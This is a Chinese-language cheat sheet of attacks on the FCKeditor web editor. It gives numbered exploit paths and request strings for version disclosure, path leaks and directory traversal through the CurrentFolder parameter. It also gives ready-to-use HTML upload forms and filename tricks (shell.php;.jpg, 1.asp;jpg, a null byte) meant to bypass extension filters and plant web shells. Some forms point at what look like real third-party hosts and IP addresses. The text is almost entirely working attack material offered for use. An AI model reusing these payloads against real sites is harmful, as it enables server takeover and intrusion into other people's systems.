1、查看编辑器版本
/fckeditor/editor/dialog/fck_about.html
2、爆绝对路径
FCKeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php (php通杀)
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/aspx/connector.aspx (2.5可突破)
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
3、遍历目录
/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=../../ (Version 2.4.1 测试通过)
修改CurrentFolder 参数使用 ../../来进入不同的目录
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
根据返回的XML 信息可以查看网站所有的目录。
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
也可以直接浏览盘符:
JSP 版本:
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
4、jsp上传
/FCKeditor/editor/filemanager/browser/default/browser.html?Connector=connectors/jsp/connector
/FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
5、php版本<=2.4.2
在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址:
<form id="frmUpload" enctype="multipart/form-data"action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br><input type="file" name="NewFile" size="50"><br><input id="btnUpload" type="submit" value="Upload"></form>
6、下划线绕过上传
很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。试试上传1.asp;jpg
1、提交shell.php+空格绕过
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
2、继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
7、突破建立文件夹
editor/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/qing.asp&NewFolderName=x.asp
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
8、test上传地址
FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html
9、最古老的版本漏洞
我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本!
10、browser上传
fckeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=../../connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
11、Sample上传
FCKeditor/_samples/default.html
FCKeditor/_samples/asp/sample01.asp
FCKeditor/_samples/asp/sample02.asp
FCKeditor/_samples/asp/sample03.asp
FCKeditor/_samples/asp/sample04.asp
12、本地构造test文件
<!– * FCKeditor – The text editor for Internet – http://www.fckeditor.net * Copyright (C) 2003-2007 Frederico Caldeira Knabben * * == BEGIN LICENSE == * * Licensed under the terms of any of the following licenses at your * choice: * * – GNU General Public License Version 2 or later (the "GPL") * http://www.gnu.org/licenses/gpl.html * * – GNU Lesser General Public License Version 2.1 or later (the "LGPL") * http://www.gnu.org/licenses/lgpl.html * * – Mozilla Public License Version 1.1 or later (the "MPL") * http://www.mozilla.org/MPL/MPL-1.1.html * * == END LICENSE == * * Test page for the File Browser connectors. —> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>FCKeditor – Connectors Tests</title> <script type="text/javascript"> function BuildBaseUrl( command ) { var sUrl = document.getElementById(‘cmbConnector’).value + ‘?Command=’ + command + ‘Type=’ + document.getElementById(‘cmbType‘).value + ‘CurrentFolder=’ + encodeURIComponent(document.getElementById(‘txtFolder‘).value) ; return sUrl ; } function SetFrameUrl( url ) { document.getElementById(‘eRunningFrame’).src = url ; document.getElementById(‘eUrl’).innerHTML = url ; } function GetFolders() { SetFrameUrl( BuildBaseUrl( ‘GetFolders’ ) ) ; return false ; } function GetFoldersAndFiles() { SetFrameUrl( BuildBaseUrl( ‘GetFoldersAndFiles’ ) ) ; return false ; } function CreateFolder() { var sFolder = prompt( ‘Type the folder name:’, ‘Test Folder’ ) ; if ( ! sFolder ) return false ; var sUrl = BuildBaseUrl( ‘CreateFolder’ ) ; sUrl += ‘NewFolderName=’ + encodeURIComponent( sFolder ) ; SetFrameUrl( sUrl ) ; return false ; } function OnUploadCompleted( errorNumber, fileName ) { switch ( errorNumber ) { case 0 : alert( ‘File uploaded with no errors’ ) ; break ; case 201 : GetFoldersAndFiles() ; alert( ‘A file with the same name is already available. The uploaded file has been renamed to "’ + fileName + ‘"’ ) ; break ; case 202 : alert( ‘Invalid file’ ) ; break ; default : alert( ‘Error on file upload. Error number: ‘ + errorNumber ) ; break ; } } thisthis.frames.frmUpload = this ; function SetAction() { var sUrl = BuildBaseUrl( ‘FileUpload’ ) ; document.getElementById(‘eUrl’).innerHTML = sUrl ; document.getElementById(‘frmUpload’).action = sUrl ; } </script> </head> <body> <table height="100%" cellspacing="0" cellpadding="0" width="100%" border="0"> <tr> <td> <table cellspacing="0" cellpadding="0" border="0"> <tr> <td> Connector:<br /> <select id="cmbConnector" name="cmbConnector"> <option value="http://zjmyjs.com/editor/filemanager/connectors/asp/connector.asp" selected="selected">ASP</option> <option value="ASP.Net</option’>http://zjmyjs.com/editor/filemanager/connectors/aspx/connector.aspx">ASP.Net</option> <option value="cfm/connector.cfm">ColdFusion</option> <option value="lasso/connector.lasso">Lasso</option> <option value="perl/connector.cgi">Perl</option> <option value="PHP</option’>http://zjmyjs.com/editor/filemanager/connectors/php/connector.php">PHP</option> <option value="py/connector.py">Python</option> </select> </td> <td> </td> <td> Current Folder<br /> <input id="txtFolder" type="text" value="/" name="txtFolder" /></td> <td> </td> <td> Resource Type<br /> <select id="cmbType" name="cmbType"> <option value="File" selected="selected">File</option> <option value="Image">Image</option> <option value="Flash">Flash</option> <option value="Media">Media</option> <option value="Invalid">Invalid Type (for testing)</option> </select> </td> </tr> </table> <br /> <table cellspacing="0" cellpadding="0" border="0"> <tr> <td valign="top"> <a href="#" onclick="GetFolders();">Get Folders</a></td> <td> </td> <td valign="top"> <a href="#" onclick="GetFoldersAndFiles();">Get Folders and Files</a></td> <td> </td> <td valign="top"> <a href="#" onclick="CreateFolder();">Create Folder</a></td> <td> </td> <td valign="top"> <form id="frmUpload" action="" target="eRunningFrame" method="post" enctype="multipart/form-data"> File Upload<br /> <input id="txtFileUpload" type="file" name="NewFile" /> <input type="submit" value="Upload" onclick="SetAction();" /> </form> </td> </tr> </table> <br /> URL: <span id="eUrl"></span> </td> </tr> <tr> <td height="100%" valign="top"> <iframe id="eRunningFrame" src="javascript:void(0)" name="eRunningFrame" width="100%" height="100%"></iframe> </td> </tr> </table> </body> </html>
13、jsp上传
获得上传后保存路径:
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=FileUpload&Type=Image&CurrentFolder=/
上传路径:
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector
发现直接post FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=FileUpload&Type=Image&CurrentFolder=/
也可以上传:
<body leftmargin="0" topmargin="0"> <form action="http://****/FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=FileUpload&Type=Image&CurrentFolder=/" method="post" name="form1" enctype="multipart/form-data"> <input name="NewFile" type="FILE" class="tx1" size="30"> <input type="submit" name="Submit" value="上传" style="border:1px double rgb(88,88,88);font:9pt"> </form> </body>
进一步发现:
web.xml一般配置
<servlet-mapping> <servlet-name>Connector</servlet-name> <url-pattern>/FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector</url-pattern> </servlet-mapping> <servlet-mapping> <servlet-name>SimpleUploader</servlet-name> <url-pattern> /editor/filemanager/upload/simpleuploader </url-pattern> </servlet-mapping>
对应的类名:
<servlet-name>Connector</servlet-name> <servlet-class> com.fredck.FCKeditor.connector.ConnectorServlet </servlet-class> <servlet-name>SimpleUploader</servlet-name> <servlet-class> com.fredck.FCKeditor.uploader.SimpleUploaderServlet </servlet-class>
ConnectorServlet 类的post方法上传时,没有做后缀检查,导致上传任意文件。
SimpleUploaderServlet 上传时后缀检查:
private boolean extIsAllowed(String fileType, String ext) { ext = ext.toLowerCase(); ArrayList allowList = (ArrayList)allowedExtensions.get(fileType); ArrayList denyList = (ArrayList)deniedExtensions.get(fileType); if (allowList.size() == 0) return !denyList.contains(ext); if (denyList.size() == 0) return allowList.contains(ext); return false; }
//如果允许列表为空,则进入黑名单检查,而看了一下一般配置
<param-name>AllowedExtensionsFile</param-name>
<param-value></param-value> File的白名单为空,
黑名单列表:
<param-name>DeniedExtensionsFile</param-name>
<param-value>
php|php3|php5|phtml|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|dll|reg|cgi
</param-value>
因此,直接使用jsp.即可绕过在windows系统上当然不能重命名,否则就变成了没有文件后缀了,但需要尝试一下:
WEB-INF/classes/FCKeditor-2.3.jar 适合 其它待测
<body > <form action="http://219.140.162.16:8889/SimpleUploader?Command=FileUpload&Type=File&CurrentFolder=/" method="post" name="form1" enctype="multipart/form-data"> <input name="NewFile" type="FILE" > <input type="submit" name="Submit" value="上传" > </form> </body>
支持的命令
GetFoldersAndFiles
GetFolders
CreateFolder
FileUpload
有些时候上传后文件没有解析权限,因此需要利用fck路径可控,跳转到其它路径:
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=FileUpload&Type=File&CurrentFolder=/../../netweb/detail/test.jsp%001d&
可以上传到其他路径一个test.jsp,此时返回的保存后文件名是错误的要注意…
FCKeditor/editor/filemanager/upload/simpleuploader?Command=FileUpload&Type=File&CurrentFolder=/
14、上传的文件路径
可以使用Google的Developer Tools或者是火狐的Firebug